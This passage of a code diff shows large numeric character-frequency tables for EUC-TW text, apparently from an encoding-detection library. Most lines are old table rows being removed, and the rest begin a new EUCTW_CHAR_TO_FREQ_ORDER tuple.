594,3431,2165,1821,3535,3432,3536,3192, # 4598 - 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 -4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 - 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 -2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 - 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 -1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 -1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 - 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 -3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 -3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 -1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 -3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 -7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 -7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 -1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 -2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 -1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 -3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 -2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 -3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 -2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 -4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 -4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 -3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 - 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 -3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 - 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 -3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 -3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 -3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 -1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 -7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 - 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 -7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 -1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 - 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 -4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 -3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 - 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 -2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 -2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 -3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 -1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 -4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 -2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 -1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 -1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 -2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 -3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 -1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 -7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 -1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 -4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 -1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 - 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 -1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 -3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 -3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 -2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 -1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 -4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 - 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 -7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 -2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 -3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 -4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 - 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 -7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 -7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 -1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 -4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 -3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 -2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 -3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 -3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 -2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 -1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 -4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 -3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 -3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 -2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 -4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 -7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 -3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 -2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 -3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 -1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 -2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 -3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 -4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 -2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 -2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 -7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 -1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 -2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 -1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 -3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 -4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 -2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 -3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 -3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 -2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 -4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 -2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 -3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 -4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 -7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 -3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 - 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 -1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 -4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 -1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 -4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 -7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 - 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 -7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 -2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 -1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 -1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 -3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 - 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 - 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 - 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 -3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 -2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 - 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 -7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 -1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 -3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 -7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 -1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 -7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 -4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 -1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 -2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 -2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 -4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 - 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 - 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822 -3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838 -3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854 -1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870 -2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886 -7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902 -1561,2664,1452,4010,1375,7855,7856, 47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918 -1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934 -3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950 - 919,2347,2960,2348,1270,4511,4012, 73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966 -1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982 -4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998 -7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014 -2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030 -3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046 - 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062 -1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078 -2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094 -2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110 -7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126 -7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142 -7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158 -2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174 -2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190 -1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206 -4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222 -3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238 -3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254 -4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270 -4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286 -2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302 -2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318 -7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334 -4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350 -7942,7943,7944,1744,7945,2537,4537,4538,7946,4539,7947,2073,7948,7949,3592,3380, # 7366 -2882,4256,7950,4257,2640,3381,2802, 673,2703,2460, 709,3486,4028,3593,4258,7951, # 7382 -1148, 502, 634,7952,7953,1204,4540,3594,1575,4541,2613,3717,7954,3718,3105, 948, # 7398 -3232, 121,1745,3837,1110,7955,4259,3063,2509,3009,4029,3719,1151,1771,3838,1488, # 7414 -4030,1986,7956,2433,3487,7957,7958,2093,7959,4260,3839,1213,1407,2803, 531,2737, # 7430 -2538,3233,1011,1537,7960,2769,4261,3106,1061,7961,3720,3721,1866,2883,7962,2017, # 7446 - 120,4262,4263,2062,3595,3234,2309,3840,2668,3382,1954,4542,7963,7964,3488,1047, # 7462 -2704,1266,7965,1368,4543,2845, 649,3383,3841,2539,2738,1102,2846,2669,7966,7967, # 7478 -1999,7968,1111,3596,2962,7969,2488,3842,3597,2804,1854,3384,3722,7970,7971,3385, # 7494 -2410,2884,3304,3235,3598,7972,2569,7973,3599,2805,4031,1460, 856,7974,3600,7975, # 7510 -2885,2963,7976,2886,3843,7977,4264, 632,2510, 875,3844,1697,3845,2291,7978,7979, # 7526 -4544,3010,1239, 580,4545,4265,7980, 914, 936,2074,1190,4032,1039,2123,7981,7982, # 7542 -7983,3386,1473,7984,1354,4266,3846,7985,2172,3064,4033, 915,3305,4267,4268,3306, # 7558 -1605,1834,7986,2739, 398,3601,4269,3847,4034, 328,1912,2847,4035,3848,1331,4270, # 7574 -3011, 937,4271,7987,3602,4036,4037,3387,2160,4546,3388, 524, 742, 538,3065,1012, # 7590 -7988,7989,3849,2461,7990, 658,1103, 225,3850,7991,7992,4547,7993,4548,7994,3236, # 7606 -1243,7995,4038, 963,2246,4549,7996,2705,3603,3161,7997,7998,2588,2327,7999,4550, # 7622 -8000,8001,8002,3489,3307, 957,3389,2540,2032,1930,2927,2462, 870,2018,3604,1746, # 7638 -2770,2771,2434,2463,8003,3851,8004,3723,3107,3724,3490,3390,3725,8005,1179,3066, # 7654 -8006,3162,2373,4272,3726,2541,3163,3108,2740,4039,8007,3391,1556,2542,2292, 977, # 7670 -2887,2033,4040,1205,3392,8008,1765,3393,3164,2124,1271,1689, 714,4551,3491,8009, # 7686 -2328,3852, 533,4273,3605,2181, 617,8010,2464,3308,3492,2310,8011,8012,3165,8013, # 7702 -8014,3853,1987, 618, 427,2641,3493,3394,8015,8016,1244,1690,8017,2806,4274,4552, # 7718 -8018,3494,8019,8020,2279,1576, 473,3606,4275,3395, 972,8021,3607,8022,3067,8023, # 7734 -8024,4553,4554,8025,3727,4041,4042,8026, 153,4555, 356,8027,1891,2888,4276,2143, # 7750 - 408, 803,2352,8028,3854,8029,4277,1646,2570,2511,4556,4557,3855,8030,3856,4278, # 7766 -8031,2411,3396, 752,8032,8033,1961,2964,8034, 746,3012,2465,8035,4279,3728, 698, # 7782 -4558,1892,4280,3608,2543,4559,3609,3857,8036,3166,3397,8037,1823,1302,4043,2706, # 7798 -3858,1973,4281,8038,4282,3167, 823,1303,1288,1236,2848,3495,4044,3398, 774,3859, # 7814 -8039,1581,4560,1304,2849,3860,4561,8040,2435,2161,1083,3237,4283,4045,4284, 344, # 7830 -1173, 288,2311, 454,1683,8041,8042,1461,4562,4046,2589,8043,8044,4563, 985, 894, # 7846 -8045,3399,3168,8046,1913,2928,3729,1988,8047,2110,1974,8048,4047,8049,2571,1194, # 7862 - 425,8050,4564,3169,1245,3730,4285,8051,8052,2850,8053, 636,4565,1855,3861, 760, # 7878 -1799,8054,4286,2209,1508,4566,4048,1893,1684,2293,8055,8056,8057,4287,4288,2210, # 7894 - 479,8058,8059, 832,8060,4049,2489,8061,2965,2490,3731, 990,3109, 627,1814,2642, # 7910 -4289,1582,4290,2125,2111,3496,4567,8062, 799,4291,3170,8063,4568,2112,1737,3013, # 7926 -1018, 543, 754,4292,3309,1676,4569,4570,4050,8064,1489,8065,3497,8066,2614,2889, # 7942 -4051,8067,8068,2966,8069,8070,8071,8072,3171,4571,4572,2182,1722,8073,3238,3239, # 7958 -1842,3610,1715, 481, 365,1975,1856,8074,8075,1962,2491,4573,8076,2126,3611,3240, # 7974 - 433,1894,2063,2075,8077, 602,2741,8078,8079,8080,8081,8082,3014,1628,3400,8083, # 7990 -3172,4574,4052,2890,4575,2512,8084,2544,2772,8085,8086,8087,3310,4576,2891,8088, # 8006 -4577,8089,2851,4578,4579,1221,2967,4053,2513,8090,8091,8092,1867,1989,8093,8094, # 8022 -8095,1895,8096,8097,4580,1896,4054, 318,8098,2094,4055,4293,8099,8100, 485,8101, # 8038 - 938,3862, 553,2670, 116,8102,3863,3612,8103,3498,2671,2773,3401,3311,2807,8104, # 8054 -3613,2929,4056,1747,2930,2968,8105,8106, 207,8107,8108,2672,4581,2514,8109,3015, # 8070 - 890,3614,3864,8110,1877,3732,3402,8111,2183,2353,3403,1652,8112,8113,8114, 941, # 8086 -2294, 208,3499,4057,2019, 330,4294,3865,2892,2492,3733,4295,8115,8116,8117,8118, # 8102 -#Everything below is of no interest for detection purpose -2515,1613,4582,8119,3312,3866,2516,8120,4058,8121,1637,4059,2466,4583,3867,8122, # 8118 -2493,3016,3734,8123,8124,2192,8125,8126,2162,8127,8128,8129,8130,8131,8132,8133, # 8134 -8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,8144,8145,8146,8147,8148,8149, # 8150 -8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,8160,8161,8162,8163,8164,8165, # 8166 -8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181, # 8182 -8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197, # 8198 -8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213, # 8214 -8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229, # 8230 -8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245, # 8246 -8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,8256,8257,8258,8259,8260,8261, # 8262 -8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,8272,8273,8274,8275,8276,8277, # 8278 -8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,8290,8291,8292,8293, # 8294 -8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,8308,8309, # 8310 -8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322,8323,8324,8325, # 8326 -8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337,8338,8339,8340,8341, # 8342 -8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353,8354,8355,8356,8357, # 8358 -8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,8368,8369,8370,8371,8372,8373, # 8374 -8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,8384,8385,8386,8387,8388,8389, # 8390 -8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,8400,8401,8402,8403,8404,8405, # 8406 -8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,8416,8417,8418,8419,8420,8421, # 8422 -8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,8432,8433,8434,8435,8436,8437, # 8438 -8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,8448,8449,8450,8451,8452,8453, # 8454 -8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,8464,8465,8466,8467,8468,8469, # 8470 -8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,8480,8481,8482,8483,8484,8485, # 8486 -8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501, # 8502 -8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517, # 8518 -8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533, # 8534 -8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549, # 8550 -8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,8565, # 8566 -8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,8576,8577,8578,8579,8580,8581, # 8582 -8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597, # 8598 -8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,8608,8609,8610,8611,8612,8613, # 8614 -8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,8624,8625,8626,8627,8628,8629, # 8630 -8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,8640,8641,8642,8643,8644,8645, # 8646 -8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,8657,8658,8659,8660,8661, # 8662 -8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672,8673,8674,8675,8676,8677, # 8678 -8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,8688,8689,8690,8691,8692,8693, # 8694 -8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,8704,8705,8706,8707,8708,8709, # 8710 -8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,8720,8721,8722,8723,8724,8725, # 8726 -8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,8736,8737,8738,8739,8740,8741) # 8742 +EUCTW_CHAR_TO_FREQ_ORDER = ( + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 + 437, 712,3871, 164,2392,3112, 695, 